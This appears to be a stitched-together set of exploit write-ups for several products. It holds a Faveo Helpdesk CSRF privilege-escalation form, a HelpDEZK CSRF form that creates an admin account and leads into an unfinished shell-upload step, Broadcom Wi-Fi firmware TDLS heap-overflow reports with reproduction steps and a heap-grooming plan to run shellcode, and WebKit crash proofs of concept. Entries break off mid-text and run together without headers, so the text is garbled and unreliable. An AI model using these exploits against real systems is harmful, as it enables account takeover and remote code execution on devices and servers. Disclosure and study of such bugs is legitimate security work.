# Exploit Title: CSRF / Privilege Escalation (Manipulation of Role Agent to Admin) on Faveo version Community 1.9.3
# Google Dork: no
# Date: 05-April-2017
# Exploit Author: @rungga_reksya, @yokoacc, @AdyWikradinata, @dickysofficial, @dvnrcy
# Vendor Homepage: http://www.faveohelpdesk.com/
# Software Link: https://codeload.github.com/ladybirdweb/faveo-helpdesk/zip/v1.9.3
# Version: Community 1.9.3
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVSS 3.0: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L (8.3 - HIGH)
# CVE: 2017-7571
I. Background:
Faveo Helpdesk Open source ticketing system build on Laravel framework. Faveo word is derived from Latin which means to be favourable. Which truly highlights vision and the scope as well as the functionality of the product that Faveo is. It is specifically designed to cater the needs of startups and SME's empowering them with state of art, ticket based support system. In today's competitive startup scenario customer retention is one of the major challenges. Handling client query diligently is all the difference between retaining or losing a long lasting relationship.
II. Description:
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Faveo have role:
- user (Cannot access backend)
- agent (Can access backend but limited)
- admin (Can full access backend)
III. Exploit:
CSRF target is: “/public/rolechangeadmin/USER_ID”
e.g:
user id = 11 (role is agent)
We have low privilege as “agent” to access application, and we want change to be admin role.
- Make sample our script of CSRF (rolechange.html):
<!-- CSRF PoC -->
<html>
<body>
<form action="http://example.com/faveo-helpdesk-1.9.3/public/rolechangeadmin/11" method="POST">
<input type="hidden" name="group" value="1" />
<input type="hidden" name="primary_department" value="3" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
- Before running “rolechange.html”, please login your account as agent and running your html script.
- Yeaaah, now user id 11 become admin privilege ^_^

HelpDEZK have role for type person:
admin = 1
user = 2
operator = 3
costumer = 4
partner = 5
group = 6
III. Exploit:
—> The first CSRF Target is: “/admin/home#/person/”
(Admin - Records - People & Companies)
The guest (no have account) can make admin privilege with CSRF Remote Code Execution. This is script for make account admin:
<html>
<!-- CSRF PoC on insert menu people -->
<body>
<form action="http://192.168.228.186/helpdezk-1.1.1/admin/person/insertNatural" method="POST">
<input type="hidden" name="login" value="testing" />
<input type="hidden" name="logintype" value=“3” /> <!-- Type Login = 3 (HD) -->
<input type="hidden" name="password" value="testing" />
<input type="hidden" name="name" value="testing" />
<input type="hidden" name="email" value="testing@local.com" /> <!-- e.g: testing@local.com -->
<input type="hidden" name="company" value="60" />
<input type="hidden" name="department" value="1" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="branch" value="" />

<input type="hidden" name="time_value" value="" />
<input type="hidden" name="overtime" value="" />
<input type="hidden" name="changePassInsert" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
—> The second CSRF target is: /admin/home#/logos/
(Admin - Config - Logos)
If we have minimum low privilege, we can remote code execute to make shell on module logos (Position of Page Header, Login Page and Reports Logo). The HelpDEZK unrestricted file extension but normally access only for admin.
If you have low privilege, please choose which one to execute this code (before execute, you shall login into application):

Broadcom produces Wi-Fi HardMAC SoCs which are used to handle the PHY and MAC layer processing. These chips are present in both mobile devices and Wi-Fi routers, and are capable of handling many Wi-Fi related events without delegating to the host OS.
One of the events handled by the BCM firmware is the processing of TDLS connections (802.11z). TDLS connections allow clients to exchange data between one another without passing it through the AP (thus preventing congestion at the AP).
In order to verify the integrity of TDLS messages, each message exchanged between the TDLS peers includes a message integrity code (MIC). The MIC is calculated using AES-CMAC with a key derived during the setup process (TPK-KCK).
When a TDLS Setup Request frame is sent by either one of the peers in an established TDLS connection, the receiving client must verify the MIC before processing the request. The MIC for TDLS Setup Request and TDLS Setup Confirm frames is calculated as follows:
AES-CMAC(TPK-KCK, InitiatorMAC ||
ResponderMAC ||
TransactionSeq ||
LinkID-IE ||
RSN-IE ||
TimeoutInterval-IE ||
FastTransition-IE)
(see "wpa_tdls_ftie_mic" under https://w1.fi/cgit/hostap/plain/src/rsn_supp/tdls.c)
All TDLS connections are accepted automatically from any peer and are handled solely by the BCM firmware (meaning there is no need for user interaction or involvement in any way - once a TDLS Setup Request is received by the firmware, it will proceed with the TDLS handshake and subsequently create a TDLS connection with the requesting peer).
When the BCM firmware receives a TDLS Setup request frame, it verifies the MIC and responds with a TDLS Setup Response frame. The initiator then sends a TDLS Setup confirm frame in order to establish the connection. The BCM firmware uses the "wlc_tdls_cal_mic_chk" function to calculate the MIC of the received frames (both for the setup and the confirm). When processing the TDLS Setup Request frame, the RSN IE is verified and parsed in order to proceed with the derivation of the TPK. This verification also makes sure that the length of the RSN IE is valid for the chosen encryption type. However, when a TDLS Setup Confirm (M3) message is received, the firmware fails to verify the RSN IE, before calling the "wlc_tdls_cal_mic_chk" function in order to verify the MIC of the incoming frame.
The "wlc_tdls_cal_mic_chk" function allocates a buffer of size 256 on the heap, into which the needed information elements are gathered in order to calculate the AES-CMAC. However, the function does not sufficiently verify the length of the RSN IE included in the Setup Confirm frame. This allows an attacker to include an abnormally large RSN IE, causing a heap-overflow in "wlc_tdls_cal_mic_chk".
Here is the approximate simplified high-level code for the function:
1. uint8_t* buffer = malloc(256);
2. uint8_t* pos = buffer;
3.
4. //Copying the initial (static) information
5. uint8_t* linkid_ie = bcm_parse_tlvs(..., 101);
6. memcpy(pos, linkid_ie + 0x8, 0x6); pos += 0x6; //Initiator MAC
7. memcpy(pos, linkid_ie + 0xE, 0x6); pos += 0x6; //Responder MAC
8. *pos = transaction_seq; pos++; //TransactionSeq
9. memcpy(pos, linkid_ie, 0x14); pos += 0x14; //LinkID-IE
10.
11. //Copying the RSN IE
12. uint8_t* rsn_ie = bcm_parse_tlvs(..., 48);
13. if (rsn_ie[1] + 2 + (pos - buffer) > 0xFF) {
14. ... //Handle overflow
15. }
16. memcpy(pos, rsn_ie, rsn_ie[1] + 2); pos += rsn_ie[1] + 2; //RSN-IE
17.
18. //Copying the remaining IEs
19. uint8_t* timeout_ie = bcm_parse_tlvs(..., 56);
20. uint8_t* ft_ie = bcm_parse_tlvs(..., 55);
21. memcpy(pos, timeout_ie, 0x7); pos += 0x7; //Timeout Interval IE
22. memcpy(pos, ft_ie, 0x54); pos += 0x54; //Fast-Transition IE
As can be seen above, although the function verifies that the RSN IE's length does not exceed the allocated buffer (line 13), it fails to verify that the subsequent IEs also do not overflow the buffer. As such, setting the RSN IE's length to a large value (i.e., such that rsn_ie[1] + 2 + (pos - buffer) == 0xFF) will cause the Timeout Interval and Fast Transition IEs to be copied out-of-bounds, overflowing the buffer.
It should be noted that prior to calculating the MIC, the function in charge of processing the TDLS Setup Confirm frame calls a helper function in order to verify the nonce values in the FTIE (to make sure they match the nonces in the TDLS Setup Request and TDLS Setup Response frames, M1 & M2). However, since the attacker is the initiator of the TDLS connection, they may choose the value of Snonce (bytes [52-84) of the FTIE) arbitrarily. This leaves only the Anonce (bytes [20-52) of the FTIE) as uncontrolled bytes during the overflow, since they are chosen by the responder.
It should also be noted that the heap implementation used in the BCM firmware does not perform safe unlinking or include heap header cookies, allowing heap overflows such as the one described above to be exploited more reliably.
I'm attaching a patch to wpa_supplicant 2.6 which modifies the TDLS Setup Confirm frame sent by the supplicant in order to trigger the heap overflow. You can reproduce the issue by following these steps:
1. Download wpa_supplicant 2.6 from https://w1.fi/releases/wpa_supplicant-2.6.tar.gz
2. Apply the included patch file
3. Build wpa_supplicant (with TDLS support)
4. Use wpa_supplicant to connect to a network
5. Connect to wpa_cli:
5.1. Setup a TDLS connection to the BCM peer using "TDLS_SETUP <MAC_ADDRESS_OF_PEER>"
(Where MAC_ADDRESS_OF_PEER is the MAC address of a peer with a BCM SoC which is associated to the same network).
At this point the heap overflow will be triggered. The code in the patch will corrupt the heap, causing the remote BCM SoC to reset after a while.
I've been able to verify this vulnerability on the BCM4339 chip, running version 6.37.34.40 (as present on the Nexus 5). However, I believe this vulnerability's scope includes a wider range of Broadcom SoCs and versions.

When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).
Here is a snippet of |disconnectSubframes|.
void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
{
...
Vector<Ref<HTMLFrameOwnerElement>> frameOwners;
if (policy == RootAndDescendants) {
if (is<HTMLFrameOwnerElement>(root))
frameOwners.append(downcast<HTMLFrameOwnerElement>(root));
}
collectFrameOwners(frameOwners, root);
// Must disable frame loading in the subtree so an unload handler cannot
// insert more frames and create loaded frames in detached subtrees.
SubframeLoadingDisabler disabler(root);
bool isFirst = true;
for (auto& owner : frameOwners) {
// Don't need to traverse up the tree for the first owner since no
// script could have moved it.
if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
owner.get().disconnectContentFrame();
isFirst = false;
}
}
The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.
It should be like:
...
collectFrameOwners(frameOwners, root);
if (is<Element>(root)) {
Element& element = downcast<Element>(root);
if (ShadowRoot* shadowRoot = element.shadowRoot())
collectFrameOwners(frameOwners, *shadowRoot);
}
...

var d = document.body.appendChild(document.createElement("div"));
var s = d.attachShadow({mode: "open"});

Broadcom produces Wi-Fi HardMAC SoCs which are used to handle the PHY and MAC layer processing. These chips are present in both mobile devices and Wi-Fi routers, and are capable of handling many Wi-Fi related events without delegating to the host OS.
One of the events handled by the BCM firmware is the processing of TDLS connections (802.11z). TDLS connections allow clients to exchange data between one another without passing it through the AP (thus preventing congestion at the AP).
In order to verify the integrity of TDLS messages, each message exchanged between the TDLS peers includes a message integrity code (MIC). The MIC is calculated using AES-CMAC with a key derived during the setup process (TPK-KCK).
When a TDLS Teardown Request frame is sent by either one of the peers in an established TDLS connection, the receiving client must verify the MIC before processing the request. The MIC for TDLS teardown requests is calculated as follows:
AES-CMAC(TPK-KCK, LinkID-IE || ReasonCode || DialogToken || TransactionSeq || FastTransition-IE)
(see "wpa_tdls_key_mic_teardown" under https://w1.fi/cgit/hostap/plain/src/rsn_supp/tdls.c)
It should be noted that all TDLS connections are accepted automatically from any peer and are handled solely by the BCM firmware (meaning there is no need for user interaction or involvement in any way - once a TDLS Setup Request is received by the firmware, it will proceed with the TDLS handshake and subsequently create a TDLS connection with the requesting peer).
When the BCM firmware receives a TDLS Teardown frame, it first verifies the Link-ID information element in order to make sure it matches the current link information. Then, if the Link ID is valid, it calls the "wlc_tdls_cal_teardown_mic_chk" function in order to verify the MIC of the request. The function starts by extracting the Fast Transition IE information element (FTIE - number 55). Then, if the IE is present, its contents are copied into a heap-allocated buffer of length 256. The copy is performed using the length field present in the IE, and at a fixed offset from the buffer's start address. Since the length of the FTIE is not verified prior to the copy, this allows an attacker to include a large FTIE (e.g., with a length field of 255), causing the memcpy to overflow the heap-allocated buffer.
Here's the high-level logic of the "wlc_tdls_cal_teardown_mic_chk" function:
uint8_t* buffer = malloc(256);
...
uint8_t* linkid_ie = bcm_parse_tlvs(..., 101);
memcpy(buffer, linkid_ie, 0x14);
...
uint8_t* ft_ie = bcm_parse_tlvs(..., 55);
memcpy(buf + 0x18, ft_ie, ft_ie[1] + 2);
(Note that each IE is a TLV; the tag and value fields are each a single byte long. Therefore, ft_ie[1] is the IE's length field).
It should also be noted that the heap implementation used in the BCM firmware does not perform safe unlinking or include heap header cookies, allowing heap overflows such as the one described above to be exploited more reliably.
I'm attaching a patch to wpa_supplicant 2.6 which modifies the TDLS Teardown frame sent by the supplicant in order to trigger the heap overflow. You can reproduce the issue by following these steps:
1. Download wpa_supplicant 2.6 from https://w1.fi/releases/wpa_supplicant-2.6.tar.gz
2. Apply the included patch file
3. Build wpa_supplicant (with TDLS support)
4. Use wpa_supplicant to connect to a network
5. Connect to wpa_cli:
5.1. Setup a TDLS connection to the BCM peer using "TDLS_SETUP <MAC_ADDRESS_OF_PEER>"
5.2. Teardown the connection using "TDLS_TEARDOWN <MAC_ADDRESS_OF_PEER>"
(Where MAC_ADDRESS_OF_PEER is the MAC address of a peer with a BCM SoC which is associated to the same network).
At this point the heap overflow will be triggered. The code in the patch will corrupt the heap, causing the remote BCM SoC to reset after a while.
I've been able to verify this vulnerability on the BCM4339 chip, running version 6.37.34.40 (as present on the Nexus 5). However, I believe this vulnerability's scope includes a wider range of Broadcom SoCs and versions.

3. Create a new TDLS connection, using crafted arguments causing a situation where two chunks in
the freelist overlap one another
4. Send a TDLS frame with action code 127
4.1. Craft the size of the TDLS frame s.t. it overlaps the other chunk in the freelist
4.2. Craft the contents in order to point the free chunk to the location of a periodic timer
which was created during the firmware's initialization
5. Send another TDLS frame with action code 127
5.1. Craft the size of the TDLS frame s.t. it will be placed on top of the timer object
5.2. Craft the contents in order to replace the timer's data structures, allowing us to point
the timer's handler function at any arbitrary address. In this case, we point the handler
function at an address near the heap's end
6. Send a large TDLS frame with action code 127
6.1. Craft the frame's contents so that it contains the shellcode we'd like to execute
7. Since the heap is zero-initialized, and "00 00" is NOP (MOVS R0,R0) in Thumb, this means that
jumping to a location slightly before our created code chunk is fine, as it won't cause any
adverse affects until we reach our code blob. Putting all this together, Once the timer
expires, our code chunk is executed on the firmware
Note that sending crafted "TDLS Teardown Request" frames requires modifications to wpa_supplicant.
Moreover, sending TDLS frames with action code 127 requires modifications to both wpa_supplicant
and to the Linux Kernel (mac80211).
These changes (and instructions on how to apply them) are included in the exploit archive attached
to this comment.

There is a negative-size memmove security vulnerability in WebKit. The vulnerability was confirmed on a nightly build of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac.
PoC (Note: It might take a couple of refreshes to trigger the bug):

<script>
function go() {
var iframe = document.getElementById("iframe");
var iframeWindow = window[0];
var toInsert = div;
var iframeBody = iframeWindow.document.body;
iframeBody.before(document.body);
iframe.after(toInsert);
}

=================================================================
Preliminary analysis:
Under certain conditions HTMLFormElement::formElementIndex() returns an index that is larger than the size of m_associatedElements. This results in negative memmove in WebCore::HTMLFormElement::registerFormElement.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1090
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac.
Please note: This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.
With any fix, please give credit for identifying the vulnerability to Ivan Fratric of Google Project Zero.
PoC:

<script>
function go() {
object.name = "foo";
input.autofocus = true;
output.appendChild(input);
form.submit();
}
function eventhandler() {
for(var i=0;i<100;i++) {
var e = document.createElement("input");
form.appendChild(e);
}
}
</script>
<body onload=go()>
<form id="form">
<object id="object">
<output id="output">a</output>
<input id="input" onfocus="eventhandler()">
<!--
=================================================================
Preliminary analysis:
The bug is in FormSubmission::create(). This function traverses the vector of form.associatedElements(), however it is possible for JavaScript event handlers to trigger while the vector is being traversed and to resize (reallocate) the vector's buffer.
